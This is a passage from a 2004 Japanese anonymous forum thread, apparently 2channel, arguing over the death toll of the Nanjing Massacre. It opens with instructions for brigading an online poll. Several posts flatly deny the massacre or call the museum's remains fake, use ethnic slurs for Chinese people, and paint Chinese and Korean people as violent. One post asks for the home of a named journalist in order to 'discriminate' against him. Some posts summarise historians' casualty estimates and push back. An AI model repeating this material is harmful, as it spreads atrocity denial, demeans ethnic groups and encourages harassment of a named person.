   右にある『投票』ボタンをクリックする
3.表示された頁上部の注意を読み、それに従う。
4.中国の蛮行関連を投票する。
  NO.13とNO.51に投票する。
  (NO.13=中国人活動家、魚釣島不法上陸
   NO.51=中国の原子力潜水艦が領海侵犯)
  同時に『その他1』と『その他2』にも投票し、
  『その他1』には以下を書き込む。 
  『サッカー・アジア杯で狂った反日中国人どもが
   善良な日本人に暴行&
   神聖な日本国歌へ大ブーイング』
  『その他2』には以下を書き込む。 
  『異常な中国首脳どもが日本へ内政干渉
   (靖国参拝)』
※合計10個ピッタリ選んで投票してください!!

211 :名無的発言者:04/12/05 15:04:32
>>204
ああ、そうだな。

212 :名無的発言者:04/12/05 15:07:50
>>204に同意します

213 :名無的発言者:04/12/05 16:02:11
>>208
30万でないなら話す価値がないと思うが
「ゼロではない」なんてしみったれた話まで後退した与太話に何の価値がw

214 :名無的発言者:04/12/06 21:57:54
30万じゃなさそう→だからゼロ
っていうウヨのトンデモ論理には開いた口がふさがらない

アハハハハ(´▽`)
ウヨの数学は30万進法なんだね


215 :名無的発言者:04/12/06 22:24:28
>>1

ぶっちゃけ皆無ではない。
東中野修道教授がいます。

ただし、専門ではない。
そして、この人しかいないけど。

216 :JIHAD ◆6yoXUXX5NI :04/12/06 22:27:19
南京大虐殺はあったが、30万人は大杉だろう、っていう学舎が殆どじゃないかなぁ。

これは私の勝手な推測なので、ソースはありませんが・・・・・・


217 :機械:04/12/06 22:28:50
南京虐殺の大体の人数にもよるな。

ただし!日本の左翼がなんと言おうと、

中国では南京虐殺とは、『南京30万人大虐殺!』!!

これ以外は存在しません。


つまり、“南京30万人は無かった!” ← これは世界の定説。

260人でも虐殺なら、日本人が虐殺された

通州事件も、『通州虐殺』或いは『通州大虐殺』としなければならない。



218 :名無的発言者:04/12/06 22:29:04
何人殺せば大虐殺になるの?

219 :機械:04/12/06 22:32:58
>>218
基準がないからねえ。。。
つまり、

『南京30万人大虐殺を肯定する学者は皆無と言う事実』

でいいのでは?

220 :JIHAD ◆6yoXUXX5NI :04/12/06 22:33:11
>>218
シナでは、一人以上が大虐殺www

221 :名無的発言者:04/12/06 22:39:04
>>215
東中野教授も、虐殺とされる行為は否定してない。
ハーグ規定の解釈で、不法殺害の確証がないと言ってるだけ。

222 :機械:04/12/06 22:46:29
>>221
しかし、『南京大虐殺はなかった!』の集会も
主催してなかったかな?

中国の事なんだし、彼らは
南京大虐殺=南京30万人大虐殺の事。

だから、南京大虐殺はなかった!は間違ってないと思うが。



223 :名無的発言者:04/12/06 22:46:43
大昔の話だからどうでもいいんじゃない

224 :名無的発言者:04/12/06 22:47:58
299999人かも。

225 :名無的発言者:04/12/06 22:48:36
>>222
虐殺があったという研究者でも、「30万大虐殺」は否定してるよ。
大抵は。

226 :機械:04/12/06 22:55:42
>>225
中国では30万人以下は、人民も政府も学者も誰一人認めてないよ。
40万人説もあるけど、これは認めてるけどね。

日本でいくら学者とか左翼右翼でもめても、
結局中国人は30万人以下は一切認めない。

これをどう思う?


227 :名無的発言者:04/12/06 23:31:02
30万が否定されてるってことは、、中国人提出資料が虚偽ってことだよ。
つまり、中国人がウソをついているということを認めざるを得ないということだ。
だからこの時点で、中国提出した資料に対する態度は当然、疑惑以外はありえない。
100人斬りもそうだし、他の日本軍の犯罪に関する証拠もそう。
30万人が疑われるなら、これら他の事件だって疑われてしかるべきなわけだよ。
当然、中帰連や中国よりの欧米人も同様に疑われる。
だけど、そういうところからは逃げるわけだね、虐殺派、というか左翼諸君は。

228 :名無的発言者:04/12/06 23:35:48
論理的に考えれば、大虐殺があったと仮定して矛盾を導けば大虐殺を否定できるぞ。
仮に1万人虐殺があったと仮定して議論してみて欲しい。

229 :名無的発言者:04/12/06 23:43:13
自国民数千万人殺している国がよく言う。

230 :名無的発言者:04/12/06 23:45:37
http://www.fileup.org/file/fup2917.wmv (3MB)

「コキントウはチベット虐殺の本人ですよ。
あれは1988年の12月から1999年の10月までの約4年間
チベット地区共産委員会の書記、つまり我々の言葉で言うと
総督をしてるわけです。そのときに彼は酷かったんです。
10〜20万人あの時チベット人を虐殺を行なってるんです。
それを全部指揮したのがコキントウです。」

「向こうは(中国は)大虐殺やってまーす。
その大虐殺やった人が首相になってまーす。」

動画内発言の訂正
首相→主席
1999年→おそらく1992年(1988年からの4年と言ってるので)


231 :機械:04/12/06 23:48:49
中国の辛いところ。。
それは南京大虐殺と同じ位に
『30万人』という数字を大々的に使ったこと。

中国の学生の反日デモでは、『南京大虐殺!』とかの横断幕でなくて
『300000』という横断幕を使うくらいだからね。
虐殺記念館も『300000』とデカデカと書かれてるし。

引くに引けない状態。
ごり押しで30万人を言うしかない。
でも、さすがに中国の歴史学者も
この数字が嘘なのはみんな知ってるだろうな。
(当然、公では言えないけどね)



232 :名無的発言者:04/12/07 00:03:59
日本人の反日闘争は結局は日本国内の差別問題の闘争手段としてのはけ口な訳です
よ。


233 :名無的発言者:04/12/07 00:06:37
だから左翼よ
30万じゃなかったら話する価値ないって。

ゼロじゃなければ「あったことになる」と言って見た所で、
どこにでも転がってる規模ではねー。
世界に類例を見ない規模だからこそ話す価値があるのに。

南京問題の本質は中国がうそつきだって事。
そしてサヨクがそれから目をそらせるために、こんなスレを立てて
「小規模だけどあったよね?」と同意を求める。

30万じゃなかったら、あってもなくてもどうでも良い話だって。

234 :名無的発言者:04/12/07 00:38:08
>>233
すごいなお前

235 :名無的発言者:04/12/07 00:43:49
なんだ、このスレは?白痴の集まりだな・・・

具体的な数字に拘泥する必要がどこにあると言うのだ。

236 :名無的発言者:04/12/07 00:51:28
逃げ遅れた兵士と銃撃戦になって流れ弾に当たって市民が死んだ
とかいうのが虐殺に当たるんなら、在ったんだろう
いずれにしても死傷者数が南京爆撃以下なのは確実

237 :機械:04/12/07 01:22:06
>>235
いやあ、中国政府や中国人民が『300000』に
非常に強い拘りを持ってるので。。。w >>231参照



238 :名無的発言者:04/12/07 01:34:53
>>237
もしかしてあんた、虐殺犯の生き残り?

239 :名無的発言者:04/12/07 02:32:20
虐殺犯の生き残りって事は、シナ軍の便衣兵ってことか?(w

240 :名無的発言者:04/12/07 02:47:18
でも、アメリカ軍の東京大空襲で多くの人が死にました
二度と、戦争はやめようね。<日本>
虐殺されました、日本よ、謝罪しろ、日本は敵だ!、で、、
日の丸を燃やす<中国>
ふ〜〜〜〜ん。そう。

241 :名無的発言者:04/12/07 09:26:48
> 二度と、戦争はやめようね。<日本>

ワラタ

242 :名無的発言者:04/12/07 10:08:21
だからアレだろ?30万人に固執してるのはむしろ支那だと  

いくら日本の売国サヨが「数は関係ない」と言ってもさ肝心の支那様が「30万以下は認めん」と言ってるんだからさー
30万の矛盾を論破したらそこでおしまいでないか?

数を捏造してまで日本を悪者にしたがってる支那政府の姑息さが招いた事態だろ?

243 :名無的発言者:04/12/07 10:29:44
つーか
なかった事を証明する必要なんて無いんだよ。
虐殺は犯罪事件なので、被害者一人一人の存在が正確に確認されていて、
なおかつ虐殺されたときの物的証拠が残っていなければ、虐殺の事実が証
明されていない事になるので、「あったかもしれないが、事実確認できない」
事になり、責任追及は不可能になる。

事件当時に南京に所在していた事実が確認されていても、安否が判らなけ
れば、病死なのか事故死なのか虐殺死なのか、他の地に逃げ延びて安穏に
暮らしたのか不明なので、虐殺死が証明されない。

事件はあった事の証明が必要なのであって、なかった事を証明する必要は
ない。
「証明できない事件」は、「なかった」方向で処理されて当然。
なぜなら、事実関係の証明がないので「事実かでっち上げかが区別出来な
い」からだ。

244 :名無的発言者:04/12/07 11:22:27
無罪説A・・・便衣兵の処刑も民間人の巻き込み被害もなかった派
無罪説B・・・便衣兵処刑・民間人巻き込みあった(かもしれない)が違法ではない派
有罪説A・・・便衣兵処刑・民間人巻き込みは違法派
有罪説B・・・民間人と知りつつ殺し回った派

「犯罪立証のルール」
現代の国際常識や国際法を適用するのは不公正。あくまで、当時の国際常識や国際法に基づくこと。
冤罪を防ぐためにも、「歴史学とは異なり、厳密な証拠が必要とされる。」
また、歴史上の出来事を裁くことに、どこまで意味があるのか? という意見もある。

「歴史学の検証のルール」
例えば徳川家康が実在の人物だという物的証拠はあるんだろうか? 
あるのは当時の人の証言資料や状況証拠など。
証言資料には書いた奴の主観が入るから、当然矛盾も混入する。だから「資料批判」が必要になる。
ちなみに「資料批判」とは、自説に都合の悪い証言を抹殺するために、一部の矛盾を取り上げて、その資料を全否定するような詭弁のことではない。他資料とのすり合わせを行い、証言の中の真実と虚構を選別する作業のことだ。
ただし、犯罪立証とは異なり、あくまで「学説」であり、断言することは禁物。

少なくとも「日本の研究者」では、保守含めて無罪説Aを唱える人はいない。

意外にも保守系の研究者でも、有罪説Aを取ってる人は多い。
板倉由明氏は、便衣兵の処刑を違法とみなし、一万三千から一万九千人。秦邦彦氏は便衣兵の裁判なしの処刑を違法とみなし、4万人説。
偕行社編集部の「南京戦史」では、3千ないし6千あるいは1万3千人。畝本正己氏は不法処理の疑い(あくまで「疑い」)のあるものは三千〜六千と推定されるとしてる。
無罪説Bを唱えてる研究者は、東中野氏かな?
ちなみにサヨクの笠原十九司氏は有罪説Aに加え民間人を標的にした有罪説Bもあったとし、十数万人以上。
ホンカツは「中国の旅」では、有罪説Bっぽかったが、後に「貧困なる精神」で有罪説Aに変更?

30万人説については、少なくとも「日本の研究者」では、サヨクも含めて一部のデムパを除いて支持者はいない。
しかし、中国や海外ではいまだ根強い。


245 :名無的発言者:04/12/07 11:47:35
自らを戦勝国と言っておきながら、自軍の戦死者数を殊更ひけらかす。
その上数が後からどんどん増える。これって一体?

246 :名無的発言者:04/12/07 12:15:30
朝日のホンカツ想い出す・・・あのロクデナシ、未だ生きとるんですかの?
今何処に住んどるのか、何方かご存知ならば教えて下され。
もしも近所に居たら、それなりの「差別」せにゃなりませんからの。
しか〜し、朝日、テレ朝ってのは、ロクデもないもんですなー。
朝日購読率が22%ということですが、日本の将来に・・・、人類の将来に・・
・暗澹たる思いでなぁ〜・・・ハァ・・・闘うっきゃないな。

247 :名無的発言者:04/12/07 12:16:05
いい加減南京のウソのテンプレ作れって。
こういう風にいつまでも大虐殺〜大虐殺〜って字面が
あることによって、印象操作されてアカくなってしまう低脳も
いるんだからさ。

248 :名無的発言者:04/12/07 12:19:10
>>246あいつは自らがまいたウソで、怒った右翼の襲撃から逃げ回っているらしいですよ。
整形したり、髪型を変えたりしてね。それにメディアに出るときなどは、
サングラスをかけて出演してる徹底振りです。
自己責任が取れないサヨクの哀れな末路ですな。

249 :機械:04/12/07 13:02:17
>>244
>>しかし、中国や海外ではいまだ根強い。
中国だけだよ。
他国は関係ないし、中国が大々的に宣伝してるので
それを引用してるだけ。




250 :名無的発言者:04/12/07 13:06:15
>>248 早速のレス!・・・感謝。


251 :名無的発言者:04/12/07 13:39:31
30万という数字にこだわっているウヨが必死すぎて可愛そう・・・

252 :名無的発言者:04/12/07 13:57:03
>>251
数に拘らないでどうするんだ?
次から次へと論点ズラシを続ける詭弁家に言われてもな。

253 :機械:04/12/07 14:13:45

>>251

かわいそうなのは中国人と中国政府。
詳細は>>231参照。



254 :名無的発言者:04/12/07 14:21:19
>>248
ちょっと補足させてもらうが、

右翼が叩くのは右か左かでフラフラしてるヤシ(メディア)なんだと
(最近では本宮か?)
ホンカツ等の反体制野郎だとハッキリしてるのは叩いても
効果(社会的アピール)が薄いから相手にしないみたいよ。



255 :名無的発言者:04/12/07 15:31:06
>>254
ウヨは見放してますか。
築地の朝日新聞本社の2階の販売店では、今もホンカツの捏造シリーズ売って
ると思う。8年位前に行ったとき、並んどりました。古い話と言えば古いです
が、捏造シリ−ズ開始から数えて20年以上も経っていたことを思えば、今尚並
べてあっても不思議でない。
朝日ってのは、非国民と言うよりも、人間社会のクズですな。
そんな朝日にもウヨは手を出さんということですか。
もっとも、ウヨは3割が在日だと聞いとりますから、ウヨってのは極サヨと
言えんこともないですな。
尚、先日、わしにとっては朗報がありました。
近所の朝日配達店の所長が、新規購読の勧誘しに来よった。
そして「最近、新聞離れでこの地区で今年6店舗閉めた」んだそうです(^O^)/
そんとき例の愛称(?)「朝鮮日報、朝鮮日日新聞、アカヒ、チョウニチなぞと、
呼ばれてからじゃないの?」って、ニコニコしつつ尋ねると、
「立派な人たちが執筆している!そうでしょ!読んで欲しいものだ!」と、来
よった・・・これには噴き出し、からこうとる暇もないから帰ってもろた。

256 :名無的発言者:04/12/07 15:51:12
中国人留学生ですが、一言申しあげます。
国家による歴史改ざんは結構存在するのは事実です。
人権上問題がある事件などに対しては特にそうです。
はっきり言って、日中双方共にそれがあるはずです。
日本ばかりを悪く言ったりする中国もいけませんが、
本当の話まで捏造だと言うのはおかしくないでしょうか?
かって日本軍が中国大陸で暴虐の限りを尽くしたのも
らちもない作り話で片づけてしまっていいのでしょうか?
出所不明の資料だからと南京事件を全否定してしまい、
てんで話にもならない否定論だけはすぐに乗ってしまう。
けっきょく、そういう日本の態度が友好を妨げるのです。

257 :名無的発言者:04/12/07 16:18:16
>>256
@南京事件を全否定してる日本人なんか一人もいません。
朝鮮人の街宣右翼だけです。
もっと日本を勉強してください。

A日本国政府は歴史改ざんなんかしてません。
日本国政府はどっかの社会主義政府と違って歴史教科書を作ったりしませんからね。
とにかくあなたはもっと日本を勉強してください。

258 :名無的発言者:04/12/07 16:20:17
B
日本で最も権威のある新聞、朝日新聞には南京事件否定論なんか載ったことありませんがなにか?

259 :名無的発言者:04/12/07 16:24:18
簡単すぎて逆にわからなかった。逝ってきまつ。

260 :名無的発言者:04/12/07 16:24:36
ねこ大好き・・・

261 :名無的発言者:04/12/07 16:25:12
フリスビー

262 :機械:04/12/07 17:00:39
>>256
自由主義では改竄は難しいよ。
必ず指摘する人がいるし、右翼左翼で討論したら真実に近づける。
しかし、一党独裁ですべて中央が決めて誰も逆らえない中国では
歴史の改竄はやりたい放題。。。偉大なる共産党!の宣伝のためにね。



263 :名無的発言者:04/12/07 17:46:01
>>262
中  国人留学生ですが、一言申しあげます。
国  家による歴史改ざんは結構存在するのは事実です。
人  権上問題がある事件などに対しては特にそうです。
は  っきり言って、日中双方共にそれがあるはずです。
日  本ばかりを悪く言ったりする中国もいけませんが、
本  当の話まで捏造だと言うのはおかしくないでしょうか?
か  って日本軍が中国大陸で暴虐の限りを尽くしたのも
ら  ちもない作り話で片づけてしまっていいのでしょうか?
出  所不明の資料だからと南京事件を全否定してしまい、
て  んで話にもならない否定論だけはすぐに乗ってしまう。
け  っきょく、そういう日本の態度が友好を妨げるのです。


264 :機械:04/12/07 17:50:33
ああ、縦読みでしたか。。^^;
Tks...

265 :名無的発言者 :04/12/07 17:51:33
結局南京大虐殺といわれる事件の証拠は出ないんだね。
4年くらい2ch観てるが一度も証拠を見たことがないし、
肯定派のなるほどと思わせる論述もない。
俺は2chを観るまでは日教組により日本=悪と思ってました。
あれ?と思って自分で調べました。何が何でも日本を悪としようとする
連中がいることを知り憤慨しています。
今は小学生が授業でパソコンをする時代です。
私のような日本人も増えてくると思います。






266 :一方的な議論:04/12/07 19:48:03
A(超有利)・虐殺行為はあった。ハーグ規定の解釈に法議論の余地有り。(肯定派〜否定派の研究者、偕行社、朝日、産経など)
(論拠)戦闘詳報、スマイス報告、当事者将兵の証言や日記など。

B(超不利)・虐殺行為自体なかった。(一部2ちゃんねら)
(論拠)日本に不利な論拠は戦闘詳報さえ認めない。日本に有利な論拠は証言でも認める。博物館の骨は偽物確定。

C(超不利)・民間人を対象にした30万大虐殺があった。(中国)
(論拠)被害届や埋葬記録など。


267 :名無的発言者:04/12/07 19:55:46
中国が「30万」に拘るのは、規模が大きくないとアピールできないからなんだ。
だから「30万」でないとしたらその価値を失う。
日本の左翼もさあ、その中国のそのジレンマを共有して「30万」を声高に叫べよな。

しけた事件じゃいつまでも騒ぎ立てる理由付けを失うんだよ。
少しは中国の狡猾さを見習えって。

「少しは虐殺があった」程度では話にならん。

268 :名無的発言者:04/12/07 20:38:36
>>266
中国の博物館の骨を信じるかねw
中国が展示してるだけで信憑性が薄れるんだが。

まさか中国をまともな国家と勘違いしてるんじゃなかろうね。

269 :機械:04/12/07 21:17:55
>>268
南京戦では、日本兵や国民党兵で数千人は戦死してる。
しかし、それらの骨は一本も出てこない。。。

何故か?
理由は、骨が出たらすべて南京市民の骨として
大虐殺の証拠になるので。。。

大虐殺記念館の多くの人骨も半分位は
日本兵の遺骨だろうな。
日本に返還して欲しいものです。。。



270 :名無的発言者:04/12/07 22:05:33
屠殺記念館の人骨は日本兵のもの、か…

いいね、それ

271 :名無的発言者:04/12/07 22:20:36
>>266
法解釈云々で虐殺行為が有ったかどうかに為るのだが。
合法な虐殺ってナンですか?

272 :名無的発言者:04/12/07 22:42:50
☆彡南京300000人虐殺を否定する中国の学者は皆無という事実☆彡

こっちのほうが本質を突いたスレタイだな

273 :名無的発言者:04/12/07 23:12:17
そうですか

274 :名無的発言者:04/12/07 23:41:04
あの骨って、出てきた物なのか…
博物館に展示するために
新たに作ったのかと思ってた。
チベットとかで…

275 :名無的発言者:04/12/07 23:44:18
このスレの結論は出たようだが

何事も無かったように
「30万は無いかもしれないが虐殺は(少しは)あっただろ?」
な〜んてループする奴が現れるのを待つとするかw

276 :名無的発言者:04/12/07 23:49:19
待つとするかwwwww

277 :名無的発言者:04/12/07 23:49:38
何度やっても大虐殺はあったが虐殺はあったという結論になるだけ

278 :名無的発言者:04/12/07 23:50:22
×何度やっても大虐殺はあったが虐殺はあったという結論になるだけ
○何度やっても大虐殺はなかったが虐殺はあったという結論になるだけ

279 :名無的発言者:04/12/07 23:53:26
↓キチガイ認定基準となる主張

・民間人30万大虐殺
・虐殺行為が完全に無かった

280 :名無的発言者:04/12/07 23:56:48
>>278
訂正することないのに
>>277は面白い投稿だと思ってたのに


281 :名無的発言者:04/12/08 00:04:55
日本は大虐殺をしなかったが、
中国人は大虐殺をしてる。

なら納得だな。

282 :名無的発言者:04/12/08 09:45:39
大量の一般人を無差別に殺すのが「虐殺」なら
それこそ中国が4000年無数に繰り返してきたことです。

283 :名無的発言者:04/12/08 12:32:55
30万人でないなら許されると思っているウヨ
中国がやっているのなら日本もやっていいと思っているウヨ

284 :名無的発言者:04/12/08 12:35:54
南京は日本によって解放された。感謝しろ。

中国はチベット侵略を「解放した」といってるが、その論理を適用すればそういうことになる。

285 :名無的発言者:04/12/08 12:36:07
義務も果たさ権利だけ主張する反日地球市民。

286 :名無的発言者:04/12/08 13:56:03
>>283
30萬じゃなかったら駄目。
歴史上類例を見ない大虐殺!じゃなきゃね
博物館を建てて語り継ぐ理由付けがなくなるって。

逆に考えて見ろ。
中国人犯罪者に虐殺された日本人一家の資料博物館を建てることに賛成かね。
愚かだとは思わんかね。

中国の、それもこれもあれも、みんな30萬だからこそ正当性が与えられるんだ。一応な。
30萬じゃなかったら駄目。

他国に対して(あろうことか援助国に対して)
敵意を増幅させる政策を取り続ける愚かな中国に対して、何か言うことはないかね。
君!

287 :名無的発言者:04/12/08 14:03:18
>>283
良い事を教えよう。

中国の虐殺は現在進行形らしいぜ。

で、だれが虐殺してもOKなんて発言したかな?
そんな投稿見当たらないけど。

やっぱり駄目だなー左翼は。

288 :機械:04/12/08 14:19:25
>>283
>> 30万人でないなら許されると思っているウヨ

そんな事は思ってません。
1人でも虐殺は虐殺です。

しかし中国の言ってる、
『 南京30万人大虐殺 』は
大嘘だ、と言ってるのです。



289 :名無的発言者:04/12/08 14:20:26
正直、30万人じゃなければ許されるよ、もう。

駄目かい?w

290 :名無的発言者:04/12/08 14:26:21
杉さった過去の虐殺を誇張することに失敗した中国と反日左翼は、今
少数でも虐殺は虐殺は虐殺だろ?にシフトした。
いやまて、中国はいまだに30万と言ってるな。
足並みそろえろよ、お前らw

291 :名無的発言者:04/12/08 14:26:41
>>289
駄目だよ、そんな事言うと40万なら許せるのかとか言ってくるぞ。

292 :機械:04/12/08 14:33:09
>>290
いや、日本の左翼系の人は確かに数を減らして
『虐殺は虐殺だ!』になってきてるけど、
中国では反対に、30万人から30数万人、
更に最近は30万人は少なすぎる、40万人位だろう、
となってきてます。。マジですよ。

293 :名無的発言者:04/12/08 14:49:59
>>292
それは喜ばしいことですw

左翼:南京虐殺を否定する学者はいないだろ?(・∀・)ニヤニヤ
一般人:そうだね。南京虐殺はあったんだね(・A・)イクナイ!!

左翼:中国が言ってた事は本当だったろ?(・∀・)ニヤニヤ
一般人:そうだね。南京30万大虐殺はあったんだね(・A・)イクナイ!!

左翼:…………(・∀・)ニヤニヤ←あえて間違いを指摘しない

こうやって一般人が勘違いしていくのを(・∀・)ニヤニヤしながら眺めていきましょう。同士よ!w

294 :名無的発言者:04/12/08 17:05:17
http://news.www.infoseek.co.jp/search/story.html?query=%82%ED%82%A2%82%B9%82%C2&q=07mainichiF1208m128&cat=2

レイプオブナンキンの伝統が今に伝わるようです。
特に右っぽい大学を中心に。
現実を直視できず、「選手を信じる!」(南京虐殺なんて
あるわけない!)
とか言ってるとこも相変わらずです。


295 :名無的発言者:04/12/08 17:40:58
>>294
選手を信じるってのは建前だろw
無菌培養のお坊ちゃんが考えることは聞いてて恥ずかしくなるよ。

あとさあ、南京大虐殺は本当になかったよ。
あったに違いないってのが左翼団体員の脳を蝕んでるのは知ってるけど。

296 :名無的発言者:04/12/08 17:47:42
そうざんすか
左巻きの生徒はレイプしないんざんすか

現実を直視できないのはどっちなんだかー

297 :名無的発言者:04/12/08 18:25:54
>>283
一言、言っておきたいのは、
中国や朝鮮の対日戦略に乗っかったような真似すんなって事。
危険すぎるぞ。

何故それが危険かというと……
韓国人が日本人の園児を傷つけて「日本人だから別に良いだろ?」と発言。
さっきまで学友だった中国人が寮に押しかけてきて日本女生徒を暴行。

中国人や朝鮮人に「日本人になら何やっても責められない」という意識を植え付ける一助に、日本の左翼集団が関与してるんだよ。
昔のことを穿るのも良いけど、これから未来の日本人の安全を考えないとしたら、危険分子もいいとこだぞ。

昔の事はいいから、これからの日本人の安全を考えろよ。
それが日本人ってもんだ。
それが出来ないなら、本当にお前ら「危険分子」だぞ。
分かってるのか?

298 :名無的発言者:04/12/08 18:50:12
実際、自分の娘が中国人に乱暴されないと目が覚めないのか、左翼団体員は。
いや、それで目が覚めるならまだ良い方だ。
「お前が乱暴されたのは日本人だから仕方ないんだよ」と娘を諭す器具類も居そうだな。

お父さん久留ってる!

娘の叫びが聞こえてきそうだ。

299 :名無的発言者:04/12/08 18:55:33
【国際】「日本叩きが国民的娯楽」 米NYタイムズ、中国教科書を歴史歪曲と報道
http://news19.2ch.net/test/read.cgi/newsplus/1102495920/l50

300 :名無的発言者:04/12/08 19:05:34
>>299
結局そういう事。
日本の左翼が日本叩きが止められないのは娯楽の域に達してるからなんだ。
本人は真剣のつもりなんだけどね。
日本を叩くと何だかすっきりするんだよね〜〜みたいな
潜在意識の奥の奥に病理が潜んでいそうだな。

301 :名無的発言者:04/12/08 19:13:12

日本の右翼が中韓叩きが止められないのは娯楽の域に達してるからなんだ。
本人は真剣のつもりなんだけどね。
中韓を叩くと何だかすっきりするんだよね〜〜みたいな
潜在意識の奥の奥に病理が潜んでいそうだな。


302 :名無的発言者:04/12/08 19:20:29
>>301
それはどっちの意味?
1.ウヨの中韓叩きが娯楽の域に達してる。
2.中韓の日本叩きが娯楽の域に達してる(ように見える)からウヨが叩く。
>本人は真剣のつもり
というのはウヨのこと指してるんだろうから1.のようだけど、
潜在意識の奥の病理ってどちらにも言えそうだよね。
1.だけでなく、2.も正解だと思うな。

303 :名無的発言者:04/12/08 19:30:43
デムパサヨ(三十万主張)はここに居ないのでは?
主に

・中道〜右派の研究者、旧日本陸軍団体の見解(三万〜一万位)
            VS
・2ちゃんねらー極右(虐殺行為自体無かった)

だろ。
勝負にもならん。

304 :名無的発言者:04/12/08 19:33:08
>>303
小夜さんが数を減らしてまで粘ってるのがこのスレですから

勝負って・・・

勝ち負けの問題ではないと思うが

305 :名無的発言者:04/12/08 19:36:27
>>304
極右が中道〜右派をサヨと罵るのがこのスレだろ

306 :名無的発言者:04/12/08 19:38:57
>>302
左翼は鸚鵡返しが得意ですから。
あんまり意味が無い投稿ですから。

俺に関して言えば、前は中国に対しては悠久とかイメージは悪くなかった。これ本当。
中国の実態を知って戦慄したわけだから娯楽も何も、我が身と我が娘を守るために中国は批判しなきゃならんと思ったわけよ。
娯楽ではなく、必死。

ブ左構成員どもの娯楽と比べてもらっては心外だ。

307 :名無的発言者:04/12/08 19:44:23
>>305
中道〜右派が小規模の事件を
それのも大昔の事件を必死で挙げるわけがない。
結局は中国の抗日史観に与することになるわけだからね。

どう言い訳しても、その事実は変わらない。

お前らは日本人の今後の安全をどう考える?

308 :名無的発言者:04/12/08 19:58:58
ブサヨが自分を「中道〜右派」と偽っているスレでんがな、ここは…
最初はどうか知らないが、染まるとはそういう事さ。

怖いねえ。

309 :名無的発言者:04/12/08 20:06:25
>>305
同意。つーか、極右の人に失礼かも。
単に読書も勉強もせず、罵倒だけの厨でしょ。

>>306-308
必死だなw
かわいそうに。中道〜右派の学者の南京の本を一冊でも読んでれば、こんなに恥をかかなくてすんだのにねw

310 :306-308:04/12/08 20:12:58
板倉由明も秦郁彦も偕行社編集部もサヨク。
鈴木明も「中国側に、軍民合わせて数万人の犠牲者が出たと推定される」とほざいてるからサヨク。
畝本正己も「不法処理の疑いのあるものは三千〜六千と推定される」とほざいてるからサヨク。
東中野修道も「なかった」とせず、無罪説をほざくからサヨク。

理由?
中道〜右派が小規模の事件をそれのも大昔の事件を必死で挙げるわけがない。
結局は中国の抗日史観に与することになるわけだからね。
わかったか、サヨクども。



311 :306-308:04/12/08 20:44:25
小林よしのりも「便宜上、秦説を採用」するからサヨク。
新しい教科書つくる会も秦郁彦を入れてるからサヨク。

理由?
中道〜右派が小規模の事件をそれのも大昔の事件を必死で挙げるわけがない。
結局は中国の抗日史観に与することになるわけだからね。
わかったか、ブサヨども。

312 :306:04/12/08 20:46:29
>>309
左翼が勉強好きなのは知ってるから

で、日本の危機に陥るようなまね
つまり中国におもねるような輩をどう思う?
小規模な事件を中道〜右派を装って提示する行為の狡猾さをどう思う?

必死はのは息も絶え絶えの左翼構成員だって。

>>310
その人たちが何だかは分からないがこのスレでそれを良いように取り上げたのは左翼だね。
純粋な学術を政治的に利用すんなよな構成員よ・

言っておくが俺は目先の論破を考えて投稿してるわけではない。
負けても良い。俺の言いたいことが一人でも心に響けば良いと思っているだけだ。

313 :名無的発言者:04/12/08 20:54:24
難しく考えることないでしょ。
サヨクが単純に、さほど大規模じゃなかった事件を大袈裟にとりあげるから、
中道、右派が「本当は小中規模だった」と暴いただけの話し。

それを厨房が、暴走して「なかった」と言い出すから、
「それは正確じゃない、小中規模なんだ」と説明したら、
それに逆ギレする椰子が出てややこしくなった。それだけじゃん。

「本当は小中規模だった」が、中国の反日厨房を利するとも思えんな。
連中は「大虐殺」に異常にこだわるから。「小中」も敵視する。
日本のサヨクですら、「小中」を敵視してるからな。ホンカツの本、読んでみ。

>>310-311
いろんな意味で笑えないギャグだ。

314 :306:04/12/08 21:00:13
>>313
まあそうだね、
大虐殺ななかったって本を取り出して、小規模だけどあったわけね(にや)ってのは人間として失格。
「虐殺零」だったって奴が居るのは知らなかったが、俺はそいつ等とは違うから。
天安門を語り継ぐつもりのない連中がいつまでも語り継ぐもんでもなかろうって事さ。

315 :名無的発言者:04/12/08 21:10:20
>>313
冷静にあなたの投稿を読んだが、
>「本当は小中規模だった」が、中国の反日厨房を利するとも思えんな。
って部分には意義を唱えたいな。

「小中規模でも南京虐殺はあったよね」を「つまり南京大虐殺はあった」に摩り替えるのが左翼だから。

詐欺師が高学歴だって知ってる?

316 :名無的発言者:04/12/08 21:33:46
【国際】「日本叩きが国民的娯楽」 米NYタイムズ、中国教科書を歴史歪曲と報道
http://news19.2ch.net/test/read.cgi/newsplus/1102495920/
■NYタイムズ「中国教科書 歴史を歪曲」と報道
http://news13.2ch.net/test/read.cgi/news/1102489317/



317 :名無的発言者:04/12/08 21:33:54
このスレ自体が日本人の無垢な良心を標的にしたあざといスレだから。
騙されるなよ皆んなw

 南京大虐殺は無かった

これはどうしようもない事実だから。

318 :317:04/12/08 21:39:11
板倉由明も秦郁彦も偕行社編集部もサヨク。
鈴木明も「中国側に、軍民合わせて数万人の犠牲者が出たと推定される」とほざいてるからサヨク。
畝本正己も「不法処理の疑いのあるものは三千〜六千と推定される」とほざいてるからサヨク。
東中野修道も「なかった」とせず、無罪説をほざくからサヨク。
小林よしのりも「便宜上、秦説を採用」するからサヨク。
新しい教科書つくる会も秦郁彦を入れてるからサヨク。

南京大虐殺は無かった

これはどうしようもない事実だから。


319 :名無的発言者:04/12/08 21:58:37
左翼って人の心に響く投稿が出来ないんだねw
まあ日本は大丈夫だろう。左翼がこの程度のレベルなら

320 :分類してみた:04/12/08 22:00:34
A・30万人説・中国側が極東軍事裁判、南京軍事法廷に提出した被害届、埋葬記録等によるもの。

B・十数万人以上説・肯定派の主流。幅広い資料を参考。
本田勝一氏らの南京事件調査研究会など。

C・4万人前後説・戦闘詳報やスマイス報告等による。中間派と言われる。
秦郁彦(千葉大学教授)の判断。朝日がコラムで支持も(統一見解は無し)。

D・2万以下説・戦闘詳報やスマイス報告等による。否定派とも言われる。
偕行社、板倉由明氏。産経が支持。

E・虐殺否定説・殺害ゼロではなく法解釈の問題。ハーグ規定に違反する確証がないとする。
中国防衛軍はハーグ規定に基づく捕虜資格がないので(司令官が逃げた等)、投降時や拘束後に殺害しても問題なし等の解釈。
東中野修道(亜細亜大学教授)など。

F(番外?)・数百人説・国際委員会が認定した『非行』による殺人事件の被害者49人(板倉由明氏カウント)を数倍。一般兵捕虜殺害や便衣兵掃討などで巻き込まれた一般市民は含まず。
一部2ちゃんねらーが支持。
